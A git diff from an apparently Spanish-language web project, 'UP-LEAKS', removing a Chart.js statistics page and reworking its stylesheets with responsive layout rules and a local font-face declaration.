||||||
border-radius: 2px;
|
|
||||||
overflow: hidden;
|
|
||||||
margin-top: 12px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.sim-bar-fill {
|
|
||||||
height: 100%;
|
|
||||||
border-radius: 2px;
|
|
||||||
opacity: 0.8;
|
|
||||||
transition: width 0.8s ease;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── SUBTEMA CARDS ───────────────────────────────────────────── */
|
|
||||||
.temas-grid {
|
|
||||||
display: grid;
|
|
||||||
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
|
|
||||||
gap: 16px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.subtema-card {
|
|
||||||
border: 1px solid #39ff1430;
|
|
||||||
background: #050505;
|
|
||||||
padding: 18px 16px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.subtema-card-title {
|
|
||||||
font-size: 0.78rem;
|
|
||||||
font-weight: 700;
|
|
||||||
letter-spacing: 0.16em;
|
|
||||||
text-transform: uppercase;
|
|
||||||
margin-bottom: 14px;
|
|
||||||
padding-bottom: 8px;
|
|
||||||
border-bottom: 1px solid #39ff1420;
|
|
||||||
}
|
|
||||||
|
|
||||||
.subtema-row {
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
gap: 8px;
|
|
||||||
padding: 3px 0;
|
|
||||||
font-size: 0.65rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.subtema-name {
|
|
||||||
flex: 0 0 110px;
|
|
||||||
color: #39ff14aa;
|
|
||||||
overflow: hidden;
|
|
||||||
text-overflow: ellipsis;
|
|
||||||
white-space: nowrap;
|
|
||||||
letter-spacing: 0.04em;
|
|
||||||
}
|
|
||||||
|
|
||||||
.subtema-bar-wrap {
|
|
||||||
flex: 1;
|
|
||||||
height: 4px;
|
|
||||||
background: #111;
|
|
||||||
border-radius: 2px;
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
.subtema-bar {
|
|
||||||
height: 100%;
|
|
||||||
border-radius: 2px;
|
|
||||||
border: none;
|
|
||||||
opacity: 0.75;
|
|
||||||
}
|
|
||||||
|
|
||||||
.subtema-n {
|
|
||||||
flex: 0 0 36px;
|
|
||||||
text-align: right;
|
|
||||||
color: #39ff1488;
|
|
||||||
font-size: 0.6rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.chart-title {
|
|
||||||
font-size: 0.75rem;
|
|
||||||
letter-spacing: 0.18em;
|
|
||||||
color: #39ff14cc;
|
|
||||||
margin-bottom: 20px;
|
|
||||||
text-transform: uppercase;
|
|
||||||
}
|
|
||||||
|
|
||||||
canvas {
|
|
||||||
max-height: 300px;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── LOADING ─────────────────────────────────────────────────── */
|
|
||||||
.loading {
|
|
||||||
text-align: center;
|
|
||||||
font-size: 1rem;
|
|
||||||
color: #39ff14;
|
|
||||||
letter-spacing: 0.2em;
|
|
||||||
padding: 60px 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.blink {
|
|
||||||
animation: blink 1s step-start infinite;
|
|
||||||
}
|
|
||||||
|
|
||||||
@keyframes blink {
|
|
||||||
50% { opacity: 0; }
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── FOOTER ──────────────────────────────────────────────────── */
|
|
||||||
footer {
|
|
||||||
position: fixed;
|
|
||||||
bottom: 0;
|
|
||||||
width: 100%;
|
|
||||||
background: #000;
|
|
||||||
border-top: 1px solid #39ff1430;
|
|
||||||
padding: 10px 0;
|
|
||||||
text-align: center;
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
color: #39ff14;
|
|
||||||
font-size: 0.8rem;
|
|
||||||
z-index: 10;
|
|
||||||
}
|
|
||||||
|
|
||||||
footer a {
|
|
||||||
color: #39ff14;
|
|
||||||
text-decoration: none;
|
|
||||||
transition: color 0.2s;
|
|
||||||
}
|
|
||||||
|
|
||||||
footer a:hover { color: #fff; }
|
|
||||||
|
|
||||||
/* ── RESPONSIVE ──────────────────────────────────────────────── */
|
|
||||||
@media (max-width: 1024px) {
|
|
||||||
.totales-grid { grid-template-columns: repeat(3, 1fr); }
|
|
||||||
.charts-row { flex-wrap: wrap; }
|
|
||||||
.chart-box--sm { flex: 1 1 200px; }
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (max-width: 768px) {
|
|
||||||
.totales-grid { grid-template-columns: repeat(2, 1fr); }
|
|
||||||
.charts-section { grid-template-columns: 1fr; }
|
|
||||||
.charts-row { flex-direction: column; }
|
|
||||||
.chart-box--sm, .chart-box--md { flex: 0 0 auto; width: 100%; }
|
|
||||||
.comp-grid { grid-template-columns: 1fr; }
|
|
||||||
.temas-grid { grid-template-columns: 1fr; }
|
|
||||||
.title { font-size: 2rem; }
|
|
||||||
.stat-value { font-size: 1.6rem; }
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (max-width: 480px) {
|
|
||||||
.totales-grid { grid-template-columns: 1fr 1fr; }
|
|
||||||
.title { font-size: 1.5rem; }
|
|
||||||
}
|
|
||||||
|
|
@ -1,360 +0,0 @@
|
||||||
<!DOCTYPE html>
|
|
||||||
<html lang="es">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
||||||
<title>UP-LEAKS // STATS</title>
|
|
||||||
<link rel="stylesheet" href="stats.css">
|
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
|
||||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
|
||||||
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&family=Nosifer&display=swap" rel="stylesheet">
|
|
||||||
<script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.0/dist/chart.umd.min.js"></script>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div class="scanlines"></div>
|
|
||||||
|
|
||||||
<header>
|
|
||||||
<div class="header-content">
|
|
||||||
<a href="/" class="back-btn">← BACK</a>
|
|
||||||
<h1 class="title">UP-LEAKS <span class="title-sub">// STATS</span></h1>
|
|
||||||
<span id="computed-at" class="computed-at"></span>
|
|
||||||
</div>
|
|
||||||
</header>
|
|
||||||
|
|
||||||
<main id="main" style="display:none">
|
|
||||||
|
|
||||||
<!-- ── TOTALES GLOBALES ─────────────────────────────── -->
|
|
||||||
<section class="section">
|
|
||||||
<h2 class="section-title">// CORPUS TOTAL</h2>
|
|
||||||
<div class="totales-grid">
|
|
||||||
<div class="stat-card" style="--accent:#39ff14">
|
|
||||||
<div class="stat-label">COMPARACIONES</div>
|
|
||||||
<div class="stat-value" id="val-comparaciones">—</div>
|
|
||||||
<div class="stat-sub" id="sub-comp-txt"></div>
|
|
||||||
</div>
|
|
||||||
<div class="stat-card" style="--accent:#00fff2">
|
|
||||||
<div class="stat-label">ARTÍCULOS WIKI</div>
|
|
||||||
<div class="stat-value" id="val-wikipedia">—</div>
|
|
||||||
</div>
|
|
||||||
<div class="stat-card" style="--accent:#ff00ff">
|
|
||||||
<div class="stat-label">NOTICIAS</div>
|
|
||||||
<div class="stat-value" id="val-noticias">—</div>
|
|
||||||
</div>
|
|
||||||
<div class="stat-card" style="--accent:#ffdc00">
|
|
||||||
<div class="stat-label">LEAKS / DOCS</div>
|
|
||||||
<div class="stat-value" id="val-torrents">—</div>
|
|
||||||
</div>
|
|
||||||
<div class="stat-card" style="--accent:#ff6600">
|
|
||||||
<div class="stat-label">IMÁGENES</div>
|
|
||||||
<div class="stat-value" id="val-imagenes_wiki">—</div>
|
|
||||||
</div>
|
|
||||||
<div class="stat-card" style="--accent:#39ff14">
|
|
||||||
<div class="stat-label">COMP. IMAGEN↔TEXTO</div>
|
|
||||||
<div class="stat-value" id="val-comp-img">—</div>
|
|
||||||
<div class="stat-sub" id="sub-comp-img"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
<!-- ── GRÁFICOS GLOBALES ────────────────────────────── -->
|
|
||||||
<section class="section">
|
|
||||||
<h2 class="section-title">// DISTRIBUCIÓN DE FUENTES</h2>
|
|
||||||
<div class="charts-row">
|
|
||||||
<div class="chart-box">
|
|
||||||
<h3 class="chart-title">Corpus por temática</h3>
|
|
||||||
<canvas id="chartTemas"></canvas>
|
|
||||||
</div>
|
|
||||||
<div class="chart-box chart-box--sm">
|
|
||||||
<h3 class="chart-title">Fuentes globales</h3>
|
|
||||||
<canvas id="chartDona"></canvas>
|
|
||||||
</div>
|
|
||||||
<div class="chart-box chart-box--sm">
|
|
||||||
<h3 class="chart-title">Comparaciones imagen</h3>
|
|
||||||
<canvas id="chartCompImg"></canvas>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
<!-- ── COMPARACIONES STATS ──────────────────────────── -->
|
|
||||||
<section class="section">
|
|
||||||
<h2 class="section-title">// ANÁLISIS DE COMPARACIONES</h2>
|
|
||||||
<div class="comp-grid" id="comp-grid"></div>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
<!-- ── SUBTEMAS POR TEMÁTICA ────────────────────────── -->
|
|
||||||
<section class="section">
|
|
||||||
<h2 class="section-title">// SUBTEMAS POR TEMÁTICA — WIKIPEDIA</h2>
|
|
||||||
<div class="temas-grid" id="temas-subtemas"></div>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
<!-- ── SUBTEMAS NOTICIAS ────────────────────────────── -->
|
|
||||||
<section class="section" id="sec-noticias-sub" style="display:none">
|
|
||||||
<h2 class="section-title">// SUBTEMAS — NOTICIAS</h2>
|
|
||||||
<div class="temas-grid" id="noticias-subtemas"></div>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
<!-- ── RADAR POR TEMA ───────────────────────────────── -->
|
|
||||||
<section class="section">
|
|
||||||
<h2 class="section-title">// COBERTURA POR TEMÁTICA</h2>
|
|
||||||
<div class="charts-row charts-row--center">
|
|
||||||
<div class="chart-box chart-box--md">
|
|
||||||
<h3 class="chart-title">Radar de cobertura</h3>
|
|
||||||
<canvas id="chartRadar"></canvas>
|
|
||||||
</div>
|
|
||||||
<div class="chart-box chart-box--md">
|
|
||||||
<h3 class="chart-title">Similitud promedio imagen↔texto</h3>
|
|
||||||
<canvas id="chartSimImg"></canvas>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
|
|
||||||
</main>
|
|
||||||
|
|
||||||
<div class="loading" id="loading">CARGANDO DATOS DEL SISTEMA<span class="blink">_</span></div>
|
|
||||||
|
|
||||||
<footer>
|
|
||||||
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#">Web de Tor</a></p>
|
|
||||||
</footer>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
const TEMAS = ['guerra global','inteligencia y seguridad','cambio climático','demografía y sociedad','economía y corporaciones'];
|
|
||||||
const TEMA_COLORS = {
|
|
||||||
'guerra global': '#FF4136',
|
|
||||||
'inteligencia y seguridad': '#0074D9',
|
|
||||||
'cambio climático': '#2ECC40',
|
|
||||||
'demografía y sociedad': '#FF851B',
|
|
||||||
'economía y corporaciones': '#FFDC00',
|
|
||||||
};
|
|
||||||
const TEMA_LABELS = {
|
|
||||||
'guerra global': 'GLOB-WAR',
|
|
||||||
'inteligencia y seguridad': 'INT-SEC',
|
|
||||||
'cambio climático': 'CLIMATE',
|
|
||||||
'demografía y sociedad': 'POPL-UP',
|
|
||||||
'economía y corporaciones': 'ECO-CORP',
|
|
||||||
};
|
|
||||||
|
|
||||||
function esc(str) {
|
|
||||||
return String(str ?? '')
|
|
||||||
.replace(/&/g, '&').replace(/</g, '<')
|
|
||||||
.replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');
|
|
||||||
}
|
|
||||||
|
|
||||||
function fmtNum(n) {
|
|
||||||
if (n >= 1_000_000) return (n / 1_000_000).toFixed(2) + 'M';
|
|
||||||
if (n >= 1_000) return (n / 1_000).toFixed(1) + 'K';
|
|
||||||
return String(n);
|
|
||||||
}
|
|
||||||
|
|
||||||
function animateCount(el, target, fmt) {
|
|
||||||
const dur = 1600, start = performance.now();
|
|
||||||
function step(now) {
|
|
||||||
const t = Math.min((now - start) / dur, 1);
|
|
||||||
const e = 1 - Math.pow(1 - t, 3);
|
|
||||||
el.textContent = fmt ? fmt(Math.floor(target * e)) : fmtNum(Math.floor(target * e));
|
|
||||||
if (t < 1) requestAnimationFrame(step);
|
|
||||||
}
|
|
||||||
requestAnimationFrame(step);
|
|
||||||
}
|
|
||||||
|
|
||||||
const CHART_OPTS = {
|
|
||||||
plugins: {
|
|
||||||
legend: { labels: { color: '#39ff14', font: { family: 'Fira Code', size: 11 } } },
|
|
||||||
tooltip: {
|
|
||||||
bodyFont: { family: 'Fira Code' }, titleFont: { family: 'Fira Code' },
|
|
||||||
backgroundColor: '#080808', borderColor: '#39ff1466', borderWidth: 1,
|
|
||||||
},
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
function scaleOpts(stacked) {
|
|
||||||
return {
|
|
||||||
x: { stacked, ticks: { color: '#39ff1499', font: { family: 'Fira Code', size: 10 } }, grid: { color: '#111' } },
|
|
||||||
y: { stacked, ticks: { color: '#39ff1499', font: { family: 'Fira Code', size: 10 } }, grid: { color: '#111' } },
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
async function load() {
|
|
||||||
try {
|
|
||||||
const res = await fetch('/api/stats');
|
|
||||||
if (!res.ok) {
|
|
||||||
const err = await res.json().catch(() => ({}));
|
|
||||||
throw new Error(err.error || `HTTP ${res.status}`);
|
|
||||||
}
|
|
||||||
const data = await res.json();
|
|
||||||
document.getElementById('loading').style.display = 'none';
|
|
||||||
document.getElementById('main').style.display = '';
|
|
||||||
|
|
||||||
const { totales, por_tema, subtemas, subtemas_noticias, comp_imagen, comp_texto, computed_at } = data;
|
|
||||||
if (computed_at) {
|
|
||||||
const d = new Date(computed_at);
|
|
||||||
document.getElementById('computed-at').textContent =
|
|
||||||
`SNAPSHOT: ${d.toLocaleDateString('es-ES')} ${d.toLocaleTimeString('es-ES',{hour:'2-digit',minute:'2-digit'})}`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Contadores ──────────────────────────────────────────
|
|
||||||
animateCount(document.getElementById('val-comparaciones'), totales.comparaciones);
|
|
||||||
animateCount(document.getElementById('val-wikipedia'), totales.wikipedia);
|
|
||||||
animateCount(document.getElementById('val-noticias'), totales.noticias);
|
|
||||||
animateCount(document.getElementById('val-torrents'), totales.torrents);
|
|
||||||
animateCount(document.getElementById('val-imagenes_wiki'), totales.imagenes_wiki);
|
|
||||||
animateCount(document.getElementById('val-comp-img'), comp_imagen.total);
|
|
||||||
document.getElementById('sub-comp-txt').textContent =
|
|
||||||
`sim. promedio ~${comp_texto.avg_sim}% · max ${comp_texto.max_sim}%`;
|
|
||||||
document.getElementById('sub-comp-img').textContent =
|
|
||||||
`imagen ↔ texto (TF-IDF)`;
|
|
||||||
|
|
||||||
// ── Chart: barras apiladas por tema ──────────────────────
|
|
||||||
new Chart(document.getElementById('chartTemas'), {
|
|
||||||
type: 'bar',
|
|
||||||
data: {
|
|
||||||
labels: TEMAS.map(t => TEMA_LABELS[t]),
|
|
||||||
datasets: [
|
|
||||||
{ label: 'Wikipedia', data: TEMAS.map(t => por_tema[t]?.wikipedia||0), backgroundColor:'#00fff2bb', borderColor:'#00fff2', borderWidth:2 },
|
|
||||||
{ label: 'Noticias', data: TEMAS.map(t => por_tema[t]?.noticias||0), backgroundColor:'#ff00ffbb', borderColor:'#ff00ff', borderWidth:2 },
|
|
||||||
{ label: 'Leaks', data: TEMAS.map(t => por_tema[t]?.torrents||0), backgroundColor:'#ffdc00bb', borderColor:'#ffdc00', borderWidth:2 },
|
|
||||||
{ label: 'Imágenes', data: TEMAS.map(t => por_tema[t]?.imagenes_wiki||0),backgroundColor:'#ff6600bb', borderColor:'#ff6600', borderWidth:2 },
|
|
||||||
],
|
|
||||||
},
|
|
||||||
options: { ...CHART_OPTS, scales: scaleOpts(true) },
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── Chart: dona fuentes globales ─────────────────────────
|
|
||||||
new Chart(document.getElementById('chartDona'), {
|
|
||||||
type: 'doughnut',
|
|
||||||
data: {
|
|
||||||
labels: ['Wikipedia','Noticias','Leaks','Imágenes'],
|
|
||||||
datasets: [{ data: [totales.wikipedia, totales.noticias, totales.torrents, totales.imagenes_wiki],
|
|
||||||
backgroundColor:['#00fff2bb','#ff00ffbb','#ffdc00bb','#ff6600bb'],
|
|
||||||
borderColor: ['#00fff2', '#ff00ff', '#ffdc00', '#ff6600'], borderWidth:2 }],
|
|
||||||
},
|
|
||||||
options: { ...CHART_OPTS, cutout:'62%' },
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── Chart: dona comparaciones imagen por tema ─────────────
|
|
||||||
new Chart(document.getElementById('chartCompImg'), {
|
|
||||||
type: 'doughnut',
|
|
||||||
data: {
|
|
||||||
labels: TEMAS.map(t => TEMA_LABELS[t]),
|
|
||||||
datasets: [{ data: TEMAS.map(t => comp_imagen.por_tema[t]?.count||0),
|
|
||||||
backgroundColor: TEMAS.map(t => TEMA_COLORS[t]+'bb'),
|
|
||||||
borderColor: TEMAS.map(t => TEMA_COLORS[t]), borderWidth:2 }],
|
|
||||||
},
|
|
||||||
options: { ...CHART_OPTS, cutout:'55%' },
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── Comp stats cards ─────────────────────────────────────
|
|
||||||
const compGrid = document.getElementById('comp-grid');
|
|
||||||
TEMAS.forEach(t => {
|
|
||||||
const ci = comp_imagen.por_tema[t] || { count:0, avg_sim:0, max_sim:0 };
|
|
||||||
const wiki = por_tema[t]?.wikipedia || 0;
|
|
||||||
const c = TEMA_COLORS[t];
|
|
||||||
compGrid.innerHTML += `
|
|
||||||
<div class="comp-card" style="--c:${esc(c)}">
|
|
||||||
<div class="comp-card-header" style="color:${esc(c)}">${esc(TEMA_LABELS[t])}</div>
|
|
||||||
<div class="comp-row"><span>Comparaciones img↔txt</span><strong>${esc(fmtNum(ci.count))}</strong></div>
|
|
||||||
<div class="comp-row"><span>Similitud media</span><strong>${esc(ci.avg_sim)}%</strong></div>
|
|
||||||
<div class="comp-row"><span>Similitud máxima</span><strong>${esc(ci.max_sim)}%</strong></div>
|
|
||||||
<div class="comp-row"><span>Artículos Wikipedia</span><strong>${esc(fmtNum(wiki))}</strong></div>
|
|
||||||
<div class="sim-bar">
|
|
||||||
<div class="sim-bar-fill" style="width:${Math.min(Number(ci.avg_sim)*4,100)}%;background:${esc(c)}"></div>
|
|
||||||
</div>
|
|
||||||
</div>`;
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── Radar cobertura ──────────────────────────────────────
|
|
||||||
const maxWiki = Math.max(...TEMAS.map(t => por_tema[t]?.wikipedia||0));
|
|
||||||
new Chart(document.getElementById('chartRadar'), {
|
|
||||||
type: 'radar',
|
|
||||||
data: {
|
|
||||||
labels: TEMAS.map(t => TEMA_LABELS[t]),
|
|
||||||
datasets: [
|
|
||||||
{ label: 'Wikipedia', data: TEMAS.map(t => Math.round((por_tema[t]?.wikipedia||0)/maxWiki*100)),
|
|
||||||
backgroundColor:'#00fff222', borderColor:'#00fff2', pointBackgroundColor:'#00fff2', borderWidth:2 },
|
|
||||||
{ label: 'Imágenes', data: TEMAS.map(t => Math.round((por_tema[t]?.imagenes_wiki||0)/20*100)),
|
|
||||||
backgroundColor:'#ff660022', borderColor:'#ff6600', pointBackgroundColor:'#ff6600', borderWidth:2 },
|
|
||||||
],
|
|
||||||
},
|
|
||||||
options: {
|
|
||||||
...CHART_OPTS,
|
|
||||||
scales: { r: {
|
|
||||||
ticks: { color:'#39ff1466', font:{ family:'Fira Code', size:9 }, backdropColor:'transparent' },
|
|
||||||
grid: { color:'#1a1a1a' },
|
|
||||||
pointLabels: { color:'#39ff14', font:{ family:'Fira Code', size:11 } },
|
|
||||||
angleLines: { color:'#1a1a1a' },
|
|
||||||
}},
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── Chart similitud imagen por tema ──────────────────────
|
|
||||||
new Chart(document.getElementById('chartSimImg'), {
|
|
||||||
type: 'bar',
|
|
||||||
data: {
|
|
||||||
labels: TEMAS.map(t => TEMA_LABELS[t]),
|
|
||||||
datasets: [
|
|
||||||
{ label: 'Sim. promedio %', data: TEMAS.map(t => comp_imagen.por_tema[t]?.avg_sim||0),
|
|
||||||
backgroundColor: TEMAS.map(t => TEMA_COLORS[t]+'99'), borderColor: TEMAS.map(t => TEMA_COLORS[t]), borderWidth:2 },
|
|
||||||
{ label: 'Sim. máxima %', data: TEMAS.map(t => comp_imagen.por_tema[t]?.max_sim||0),
|
|
||||||
backgroundColor: 'transparent', borderColor: TEMAS.map(t => TEMA_COLORS[t]), borderWidth:2, type:'line',
|
|
||||||
pointRadius:5, pointBackgroundColor: TEMAS.map(t => TEMA_COLORS[t]) },
|
|
||||||
],
|
|
||||||
},
|
|
||||||
options: { ...CHART_OPTS, scales: scaleOpts(false) },
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── Subtemas Wikipedia ────────────────────────────────────
|
|
||||||
const temasDiv = document.getElementById('temas-subtemas');
|
|
||||||
TEMAS.forEach(t => {
|
|
||||||
const subs = subtemas[t] || [];
|
|
||||||
if (!subs.length) return;
|
|
||||||
const maxN = subs[0].n;
|
|
||||||
const c = TEMA_COLORS[t];
|
|
||||||
temasDiv.innerHTML += `
|
|
||||||
<div class="subtema-card">
|
|
||||||
<div class="subtema-card-title" style="color:${esc(c)}">${esc(TEMA_LABELS[t])} <span style="color:#39ff1466;font-size:0.7rem">// ${esc(t)}</span></div>
|
|
||||||
${subs.map(s => `
|
|
||||||
<div class="subtema-row">
|
|
||||||
<span class="subtema-name">${esc(s.subtema)}</span>
|
|
||||||
<div class="subtema-bar-wrap">
|
|
||||||
<div class="subtema-bar" style="width:${Math.round(s.n/maxN*100)}%;background:${esc(c)}66"></div>
|
|
||||||
</div>
|
|
||||||
<span class="subtema-n">${esc(fmtNum(s.n))}</span>
|
|
||||||
</div>`).join('')}
|
|
||||||
</div>`;
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── Subtemas Noticias ─────────────────────────────────────
|
|
||||||
const hasNot = TEMAS.some(t => (subtemas_noticias[t]||[]).length > 0);
|
|
||||||
if (hasNot) {
|
|
||||||
document.getElementById('sec-noticias-sub').style.display = '';
|
|
||||||
const notDiv = document.getElementById('noticias-subtemas');
|
|
||||||
TEMAS.forEach(t => {
|
|
||||||
const subs = subtemas_noticias[t] || [];
|
|
||||||
if (!subs.length) return;
|
|
||||||
const maxN = subs[0].n;
|
|
||||||
const c = TEMA_COLORS[t];
|
|
||||||
notDiv.innerHTML += `
|
|
||||||
<div class="subtema-card">
|
|
||||||
<div class="subtema-card-title" style="color:${esc(c)}">${esc(TEMA_LABELS[t])}</div>
|
|
||||||
${subs.map(s => `
|
|
||||||
<div class="subtema-row">
|
|
||||||
<span class="subtema-name">${esc(s.subtema)}</span>
|
|
||||||
<div class="subtema-bar-wrap">
|
|
||||||
<div class="subtema-bar" style="width:${Math.round(s.n/maxN*100)}%;background:${esc(c)}66"></div>
|
|
||||||
</div>
|
|
||||||
<span class="subtema-n">${esc(fmtNum(s.n))}</span>
|
|
||||||
</div>`).join('')}
|
|
||||||
</div>`;
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
} catch(e) {
|
|
||||||
document.getElementById('loading').textContent = 'ERROR AL CARGAR DATOS (' + e.message + ')';
|
|
||||||
document.getElementById('loading').style.color = '#ff1a1a';
|
|
||||||
console.error(e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
load();
|
|
||||||
</script>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
|
|
@ -1,6 +1,10 @@
|
||||||
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face.
|
@font-face {
|
||||||
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en
|
font-family: "Retrolift";
|
||||||
fonts/ y anade aqui la regla con una ruta relativa. */
|
src: url("fonts/retrolift.woff2") format("woff2"),
|
||||||
|
url("fonts/retrolift.woff") format("woff");
|
||||||
|
font-weight: normal;
|
||||||
|
font-style: normal;
|
||||||
|
}
|
||||||
|
|
||||||
* {
|
* {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
|
|
@ -38,35 +42,19 @@ header {
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
position: relative;
|
position: relative;
|
||||||
|
max-width: 1200px;
|
||||||
width: 100%;
|
width: 100%;
|
||||||
padding: 0 14px;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.header-buttons {
|
.header-buttons {
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
gap: 6px;
|
|
||||||
position: absolute;
|
position: absolute;
|
||||||
top: 50%;
|
top: 70%;
|
||||||
right: 14px;
|
right: 10px;
|
||||||
transform: translateY(-50%);
|
transform: translateY(-50%);
|
||||||
}
|
}
|
||||||
|
|
||||||
.header-buttons--left {
|
|
||||||
right: auto;
|
|
||||||
left: 14px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stats-btn {
|
|
||||||
border-color: #39ff14;
|
|
||||||
color: #39ff14;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stats-btn:hover {
|
|
||||||
background-color: #39ff14;
|
|
||||||
color: #000;
|
|
||||||
}
|
|
||||||
|
|
||||||
.small-button {
|
.small-button {
|
||||||
margin-left: 5px;
|
margin-left: 5px;
|
||||||
margin-right: 3px;
|
margin-right: 3px;
|
||||||
|
|
@ -507,192 +495,501 @@ footer p {
|
||||||
padding: 12px 20px;
|
padding: 12px 20px;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
/* ============================================================
|
/* Para teléfonos de 768px de ancho en portrait */
|
||||||
MÓVIL — Portrait (≤ 1024px)
|
@media screen and (max-width: 768px) and (orientation: portrait) {
|
||||||
============================================================ */
|
|
||||||
|
|
||||||
@media screen and (max-width: 1024px) and (orientation: portrait) {
|
|
||||||
header { height: auto; padding: 12px 10px; }
|
|
||||||
|
|
||||||
.title { font-size: 3.2rem; }
|
|
||||||
|
|
||||||
.header-buttons {
|
|
||||||
position: static;
|
|
||||||
transform: none;
|
|
||||||
margin-top: 6px;
|
|
||||||
flex-wrap: wrap;
|
|
||||||
justify-content: flex-start;
|
|
||||||
gap: 5px;
|
|
||||||
}
|
|
||||||
.header-buttons--left { position: static; }
|
|
||||||
|
|
||||||
.small-button {
|
|
||||||
font-size: 0.72rem;
|
|
||||||
padding: 5px 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Nav: fila horizontal scrollable de botones compactos */
|
|
||||||
nav {
|
|
||||||
margin-top: 8px;
|
|
||||||
margin-bottom: 0;
|
|
||||||
padding: 6px 8px;
|
|
||||||
overflow-x: auto;
|
|
||||||
justify-content: flex-start;
|
|
||||||
}
|
|
||||||
.nav-links {
|
|
||||||
flex-wrap: nowrap;
|
|
||||||
gap: 8px;
|
|
||||||
padding: 0 2px;
|
|
||||||
}
|
|
||||||
.nav-links li { flex-shrink: 0; }
|
|
||||||
.nav-links a {
|
|
||||||
width: auto;
|
|
||||||
height: auto;
|
|
||||||
font-size: 0.78rem;
|
|
||||||
padding: 8px 14px;
|
|
||||||
border-width: 2px;
|
|
||||||
border-radius: 20px;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Layout de imágenes: 2 columnas en lugar de 5 */
|
|
||||||
.background {
|
|
||||||
flex-wrap: wrap;
|
|
||||||
height: auto;
|
|
||||||
overflow-x: hidden;
|
|
||||||
}
|
|
||||||
.background a {
|
.background a {
|
||||||
width: 50%;
|
width: 90%;
|
||||||
height: 30vw;
|
|
||||||
min-height: 120px;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Botones overlay: rejilla 2×3 */
|
|
||||||
.button-overlay {
|
|
||||||
position: static;
|
|
||||||
display: grid;
|
|
||||||
grid-template-columns: 1fr 1fr;
|
|
||||||
gap: 10px;
|
|
||||||
padding: 14px 12px 60px;
|
|
||||||
background: rgba(0,0,0,0.75);
|
|
||||||
height: auto;
|
|
||||||
top: auto;
|
|
||||||
}
|
|
||||||
.button-column {
|
.button-column {
|
||||||
width: 100%;
|
width: 90%;
|
||||||
gap: 8px;
|
gap: 10px;
|
||||||
}
|
|
||||||
.overlay-button {
|
|
||||||
font-size: 0.75rem;
|
|
||||||
padding: 8px 12px;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ≤ 600px portrait */
|
.overlay-button {
|
||||||
@media screen and (max-width: 600px) and (orientation: portrait) {
|
font-size: 0.6rem;
|
||||||
.title { font-size: 2.2rem; }
|
padding: 6px 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 3rem;
|
||||||
|
}
|
||||||
|
|
||||||
.small-button {
|
.small-button {
|
||||||
font-size: 0.65rem;
|
font-size: 0.3rem;
|
||||||
padding: 4px 8px;
|
padding: 2px 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links {
|
||||||
|
gap: 2em; /* Reduce el espacio entre los enlaces del nav */
|
||||||
}
|
}
|
||||||
|
|
||||||
.nav-links a {
|
.nav-links a {
|
||||||
font-size: 0.68rem;
|
font-size: 0.8rem;
|
||||||
padding: 7px 11px;
|
padding: 8px 16px;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Para teléfonos de 576px de ancho en portrait */
|
||||||
|
